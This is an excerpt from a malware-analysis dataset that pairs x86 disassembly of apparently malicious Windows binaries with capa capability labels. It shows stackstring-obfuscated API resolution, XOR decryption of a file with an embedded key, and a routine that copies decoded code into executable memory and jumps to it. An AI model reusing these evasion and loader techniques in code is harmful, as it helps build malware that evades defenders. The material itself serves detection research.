joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001614
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
je 0x10001628
mov ecx, eax
call fcn.10001b3f
or ecx, 0xffffffff
jmp 0x10001649
movzx eax, al
push 7
xor ecx, eax
pop edx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
dec edx
jns 0x10001635
inc esi
mov al, byte [esi]
test al, al
jne 0x1000162d
not ecx
mov eax, ecx
pop esi
ret

Function at 0x10001655
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 0xc]
mov word [ebp - 3], 0x65
push eax
mov esi, ecx
mov word [ebp - 9], 0x6162
mov word [ebp - 6], 0x7246
mov byte [ebp - 4], 0x65
mov word [ebp - 0xc], 0x6c47
mov byte [ebp - 7], 0x6c
mov byte [ebp - 0xa], 0x6f
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000169b
push esi
call eax
mov esi, eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100016a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 0xc]
mov word [ebp - 2], 0x63
push eax
mov esi, edx
mov dword [ebp - 7], 0x6c6c416c
xor ebx, ebx
mov dword [ebp - 0xb], 0x61626f6c
mov byte [ebp - 3], 0x6f
mov byte [ebp - 0xc], 0x47
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100016e5
push esi
push 0x40
call eax
mov ebx, eax
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100016ed
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 7], 0x4169706d
push eax
mov edi, edx
mov dword [ebp - 0xb], 0x63727473
mov ebx, ecx
mov byte [ebp - 3], 0
or esi, 0xffffffff
mov byte [ebp - 0xc], 0x6c
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000172d
push edi
push ebx
call eax
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100017cc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10031490]
push ebx
push esi
mov dword [ebp - 4], eax
mov esi, edx
push edi
lea eax, [ebp - 0x10]
mov word [ebp - 0xd], 0x6372
push eax
mov edi, ecx
mov word [ebp - 8], 0x41
xor ebx, ebx
mov word [ebp - 0x10], 0x736c
mov byte [ebp - 0xe], 0x74
mov word [ebp - 0xb], 0x7970
mov byte [ebp - 9], 0x6e
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001820
push dword [ebp - 4]
push esi
push edi
call eax
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001829
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x12], 0x6e696d72
xor ebx, ebx
mov word [ebp - 6], 0x7373
push eax
mov esi, ecx
mov word [ebp - 0xc], 0x5065
mov word [ebp - 9], 0x636f
mov byte [ebp - 4], bl
mov byte [ebp - 0xa], 0x72
mov word [ebp - 0xe], 0x7461
mov word [ebp - 0x14], 0x6554
mov byte [ebp - 7], 0x65
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000187f
push ebx
push esi
call eax
mov ebx, eax
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001887
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor ebx, ebx
call fcn.10001a2b
mov esi, eax
test esi, esi
je 0x100018df
lea eax, [ebp - 0x10]
mov dword [ebp - 6], 0x6e696d
push eax
push esi
mov word [ebp - 9], 0x416e
mov word [ebp - 0xc], 0x7265
mov byte [ebp - 7], 0x64
mov word [ebp - 0xf], 0x5573
mov byte [ebp - 0x10], 0x49
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xa], 0x41
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100018d8
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001937
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6e65704f
push eax
xor ebx, ebx
mov dword [ebp - 6], 0x7365636f
mov word [ebp - 2], 0x73
mov word [ebp - 8], 0x7250
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000197b
push dword [ebp + 8]
push ebx
push 0x401
call eax
mov ebx, eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001982
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 0xc]
mov word [ebp - 6], 0x5365
push eax
mov edi, ecx
mov word [ebp - 3], 0x657a
or esi, 0xffffffff
mov dword [ebp - 0xc], 0x46746547
mov word [ebp - 8], 0x6c69
mov byte [ebp - 1], 0
mov byte [ebp - 4], 0x69
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100019cb
push 0
push edi
call eax
mov esi, eax
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001a2b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [ebp - 0xb], 0x6c6c6568
push eax
mov dword [ebp - 6], 0x6c642e32
mov word [ebp - 2], 0x6c
mov byte [ebp - 7], 0x33
mov byte [ebp - 0xc], 0x53
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esp, ebp
pop ebp
ret

Function at 0x10001a5b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0xa], 0x642e3233
push eax
mov word [ebp - 6], 0x6c6c
mov byte [ebp - 4], 0
mov word [ebp - 0xf], 0x7265
mov word [ebp - 0xc], 0x6c65
mov byte [ebp - 0x10], 0x4b
mov byte [ebp - 0xd], 0x6e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esp, ebp
pop ebp
ret
Function at 0x10001a94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xf], 0x65636f72
xor ebx, ebx
mov dword [ebp - 6], 0x74737269
push eax
mov esi, edx
mov dword [ebp - 0xb], 0x32337373
mov edi, ecx
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 2], bl
mov byte [ebp - 7], 0x46
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001add
push esi
push edi
call eax
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001ae6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
mov word [ebp - 0xa], 0x3373
push eax
mov esi, edx
mov word [ebp - 0xd], 0x6563
mov edi, ecx
mov dword [ebp - 6], 0x747865
xor ebx, ebx
mov word [ebp - 8], 0x4e32
mov byte [ebp - 0xb], 0x73
mov word [ebp - 0x10], 0x7250
mov byte [ebp - 0xe], 0x6f
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001b36
push esi
push edi
call eax
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001b3f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 0xc]
mov word [ebp - 9], 0x6573
push eax
mov esi, ecx
mov dword [ebp - 6], 0x6c646e61
xor ebx, ebx
mov word [ebp - 2], 0x65
mov word [ebp - 0xc], 0x6c43
mov byte [ebp - 7], 0x48
mov byte [ebp - 0xa], 0x6f
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001b85
push esi
call eax
mov ebx, eax
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001b8d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 0x1c]
mov word [ebp - 0x18], 0x6574
push eax
or esi, 0xffffffff
mov dword [ebp - 7], 0x746f68
mov dword [ebp - 0x15], 0x686c6f6f
mov dword [ebp - 0x1c], 0x61657243
mov word [ebp - 0x11], 0x6c65
mov dword [ebp - 0xb], 0x7370616e
mov byte [ebp - 0x16], 0x54
mov word [ebp - 0xe], 0x3233
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xf], 0x70
call fcn.10001a5b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001bed
push 0
push 2
call eax
mov esi, eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001dfd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov dword [0x1003148c], eax
mov esi, 0x3ff
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [0x10031494], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [0x10031490], eax
lea eax, [ebp - 0x823]
push ebx
push eax
mov byte [ebp - 0x824], bl
call fcn.10006210
lea ecx, [ebp - 0x824]
call fcn.10002051
push esi
lea eax, [ebp - 0x423]
mov byte [ebp - 0x424], bl
push ebx
push eax
call fcn.10006210
lea ecx, [ebp - 0x424]
call fcn.10002051
add esp, 0x14
mov dword [ebp - 4], 0x336b65
lea eax, [ebp - 0x424]
mov dword [ebp - 0x1c], 0x62753733
mov ecx, esp
mov dword [ebp - 0xb], 0x69657465
mov dword [ebp - 0x14], 0x6b746d34
push eax
mov word [ebp - 0x1e], 0x3063
mov word [ebp - 0x21], 0x306f
mov dword [ebp - 0x10], 0x766b6c77
mov word [ebp - 6], 0x3439
mov word [ebp - 0x24], 0x7a65
mov dword [ebp - 0x18], 0x64657578
mov byte [ebp - 7], 0x66
mov byte [ebp - 0x22], 0x75
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0xc], 0x34
call fcn.10002b08
push ecx
lea eax, [ebp - 0x824]
mov ecx, esp
push eax
call fcn.10002b08
lea ecx, [ebp - 0x24]
call fcn.10001ee7
pop ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001ee7
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10024681
call fcn.100245b8
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
push ecx
push ecx
push 3
xor ebx, ebx
mov edx, 0x80000000
push ecx
inc ebx
mov dword [ebp - 4], ebx
push ecx
mov ecx, dword [ebp + 8]
call fcn.100019d3
mov edi, eax
add esp, 0x14
cmp edi, 0xffffffff
je 0x10001feb
and dword [ebp - 0x18], 0
mov ecx, edi
call fcn.10001982
mov esi, eax
test esi, esi
je 0x10001feb
push esi
call fcn.10003c74
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
push ecx
push esi
mov edx, eax
mov ecx, edi
call fcn.100018e7
mov ecx, edi
call fcn.10001b3f
push esi
call fcn.10003c74
xor edx, edx
add esp, 0x10
mov dword [ebp - 0x10], edx
mov edi, eax
test esi, esi
je 0x10001f98
mov eax, dword [ebp - 0x14]
sub eax, edi
mov ebx, eax
lea ecx, [edx + edi]
mov dword [ebp - 0x1c], 0x23
mov eax, edx
cdq
idiv dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov al, byte [edx + eax]
xor al, byte [ebx + ecx]
mov edx, dword [ebp - 0x10]
inc edx
mov byte [ecx], al
mov dword [ebp - 0x10], edx
cmp edx, esi
jb 0x10001f6f
xor ebx, ebx
inc ebx
push ecx
push ecx
push 2
push ecx
push ecx
mov ecx, dword [ebp + 0xc]
mov edx, 0x40000000
call fcn.100019d3
add esp, 0x14
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x10001fe4
and dword [ebp - 0x20], 0
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
push esi
mov ecx, eax
call fcn.10001736
mov ecx, dword [ebp - 0x1c]
call fcn.10001b3f
push dword [ebp - 0x14]
call fcn.10004eff
push edi
call fcn.10004eff
add esp, 0x14
jmp 0x10001fed
push edi
call fcn.10004eff
pop ecx
xor bl, bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.10002680
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.10002680
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100022c7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10002320
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10002311
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x1000230d
cmp esi, ecx
jae 0x10002311
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x100022fd
cmp esi, ecx
jb 0x10002315
xor eax, eax
jmp 0x1000231f
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407e5f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cc50]
jne 0x407e69
repz ret
jmp fcn.0040c59d

Function at 0x40b2f0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406090
and dword [ebp - 4], 0
cmp dword [0x446620], 0
mov ebx, eax
jne 0x40b3a1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b452
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b452
push eax
call fcn.0040601e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x446620], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x446624], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x446628], eax
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x446630], eax
test eax, eax
je 0x40b3a1
push 0x438f10
push edi
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x44662c], eax
mov eax, dword [0x44662c]
cmp eax, ebx
je 0x40b3f9
cmp dword [0x446630], ebx
je 0x40b3f9
push eax
call fcn.00406099
push dword [0x446630]
mov esi, eax
call fcn.00406099
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b3f9
test edi, edi
je 0x40b3f9
call esi
test eax, eax
je 0x40b3f0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b3f0
test byte [ebp - 0xc], 1
jne 0x40b3f9
or dword [ebp + 0x10], 0x200000
jmp 0x40b432
mov eax, dword [0x446624]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b432
mov eax, dword [0x446628]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x446620]
call fcn.00406099
pop ecx
test eax, eax
je 0x40b452
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b454
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40633c
pop dword [ebp - 0x24]
mov eax, 0x40633c
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x5985330
sub dword [ebp - 0x34], 0xb7460de5
mov dword [ebp - 0x30], 0xafd2fed0
sub dword [ebp - 0x30], 0x7d9fb28b
mov dword [ebp - 0x2c], 0x4f13f36
sub dword [ebp - 0x2c], 0xb8a4fb08
mov dword [ebp - 0x28], 0x26e65301
sub dword [ebp - 0x28], 0x26e65301
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x264da3b3
add dword [ebp - 0x34], 0x4e24c5a3
mov dword [ebp - 0x30], 0x4c4bd9f5
add dword [ebp - 0x30], 0xf5208780
mov dword [ebp - 0x2c], 0x77a812c2
add dword [ebp - 0x2c], 0xebc759aa
mov dword [ebp - 0x28], 0xfb2f0c59
add dword [ebp - 0x28], 0x4d0f3a7
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xce3a1004
sub eax, 0xcdf99f04
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36b49
push 0
call eax
mov ecx, 0x14c4a719
add ecx, 0xeb3ba140
mov ebx, eax
mov edx, 0x66ec862f
sub edx, 0x66ab862f
add edx, dword [ebp - 0x24]
mov edi, 0xc4011475
sub edi, 0x506bb4c5
sub dword [ebp - 8], edi
mov esi, dword [edx]
xor dword [ebp - 0xc], edx
add esi, edi
sub dword [ebp - 0x20], eax
mov dword [ebx], esi
add dword [ebp - 0x20], 0xa764514e
add ebx, 0x32d756ae
sub ebx, 0x32d756aa
add edx, 0xdd7bce90
sub edx, 0xdd7bce8c
loop 0x406454
add eax, 0x11437
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040632d
jmp 0x406676

Function at 0x401440
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0xbbeaf81f
xor ebx, 0xbfeaf81f
jmp 0x4014f0
mov edx, 0xa919783e
xor edx, 0xa919783a
mov ecx, 0x25135daf
xor ecx, 0x25136daf
mov eax, 0x500
ror eax, 0x1c
push edx
push ecx
push eax
mov edx, dword [ebp - 0xb4]
rol edx, 4
rol edx, 0xa
mov dword [ebp - 8], edx
push ebx
call fcn.00401644
push esi
pop ecx
mov ebx, eax
test ebx, ebx
je 0x4014f0
sub ebx, 0x86b78ac7
mov dword [ebp - 0x10], ebx
ret
Function at 0x411aa0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x4bca04]
xor eax, esp
mov dword [esp + 0x18], eax
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
push esi
jb 0x411abf
mov eax, dword [ecx]
push dword [ecx + 0x10]
lea ecx, [esp + 8]
push eax
call fcn.00411360
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x411ad7
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, dword [esp + 0x18]
mov esi, eax
cmp ecx, 8
jb 0x411b14
mov edx, dword [esp + 4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x411b0b
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b26
push edx
call fcn.0045a450
add esp, 4
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004612e1
mov esp, ebp
pop ebp
ret
call fcn.00469335
int3

Function at 0x411b30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
mov eax, dword [0x4bca04]
xor eax, esp
mov dword [esp + 0x21c], eax
push esi
push edi
mov esi, ecx
xor eax, eax
mov dword [esp + 8], esi
mov edi, edx
push 0x206
mov dword [esp + 0xc], esi
push eax
mov word [esp + 0x20], ax
lea eax, [esp + 0x22]
push eax
call fcn.00463e60
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x411bba
lea eax, [esp + 0xc]
push eax
push edi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
js 0x411bb0
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov eax, dword [esp + 8]
push dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [esp + 0x18]
sub esp, 8
mov edx, esp
mov ecx, eax
mov dword [edx], eax
lea edi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411bd0
sub ecx, edi
sar ecx, 1
mov dword [edx + 4], ecx
mov ecx, esi
call fcn.00411470
mov ecx, dword [esp + 0x22c]
add esp, 8
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.004612e1
mov esp, ebp
pop ebp
ret
Function at 0x413d30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x489a45
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4bca04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi]
sub ecx, edx
mov eax, dword [ebp + 8]
sar ecx, 3
imul edi, ecx, 0xeeeeeeef
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
test edi, edi
jne 0x413d8c
lea ecx, [esi + 0x2c]
push ecx
mov ecx, eax
call fcn.00413250
mov eax, dword [ebp - 0x34]
jmp 0x413ee1
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
cmp eax, ecx
jge 0x413da0
test byte [esi + 0x44], 2
jne 0x413efe
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 1
mov eax, dword [esi + 0x3c]
test edi, edi
je 0x413de5
mov ecx, dword [edx + 0x14]
add ecx, eax
cmp dword [edx], 0xfffffffe
jne 0x413dd8
cmp ecx, dword [edx + 0x38]
cmovb ecx, dword [edx + 0x38]
mov eax, dword [edx + 0x2c]
add edx, 0x78
add eax, ecx
sub edi, 1
jne 0x413dc7
push eax
lea ecx, [ebp - 0x28]
call fcn.00412d70
cmp dword [esi + 0x40], 0x10
lea eax, [esi + 0x2c]
mov ecx, dword [eax + 0x10]
jb 0x413dfc
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00413670
mov eax, dword [esi + 4]
mov edi, dword [esi]
sub eax, edi
sar eax, 3
imul eax, eax, 0xeeeeeeef
mov dword [ebp - 0x30], 0
test eax, eax
je 0x413eb5
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
nop word [eax + eax]
lea eax, [ecx + 4]
mov ecx, dword [eax + edi + 0x10]
add eax, edi
cmp dword [eax + 0x14], 0x10
jb 0x413e41
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00413670
mov eax, dword [ebp - 0x2c]
cmp dword [edi + eax], 0xfffffffe
jne 0x413e73
mov ecx, dword [edi + eax + 0x38]
mov edx, dword [ebp - 0x18]
cmp ecx, edx
jbe 0x413e73
movzx eax, byte [edi + eax + 0x48]
sub ecx, edx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00415570
mov eax, dword [ebp - 0x2c]
add eax, 0x1c
add eax, edi
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x413e83
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00413670
mov eax, dword [esi + 4]
mov edi, dword [esi]
sub eax, edi
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
inc edx
sar eax, 3
add ecx, 0x78
imul eax, eax, 0xeeeeeeef
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
cmp edx, eax
jb 0x413e30
mov eax, dword [ebp - 0x34]
xorps xmm0, xmm0
mov byte [esi + 0x28], 1
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
movups xmm0, xmmword [ebp - 0x28]
mov dword [eax + 0x14], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x18]
movq qword [eax + 0x10], xmm0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004612e1
mov esp, ebp
pop ebp
ret 4
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00412070
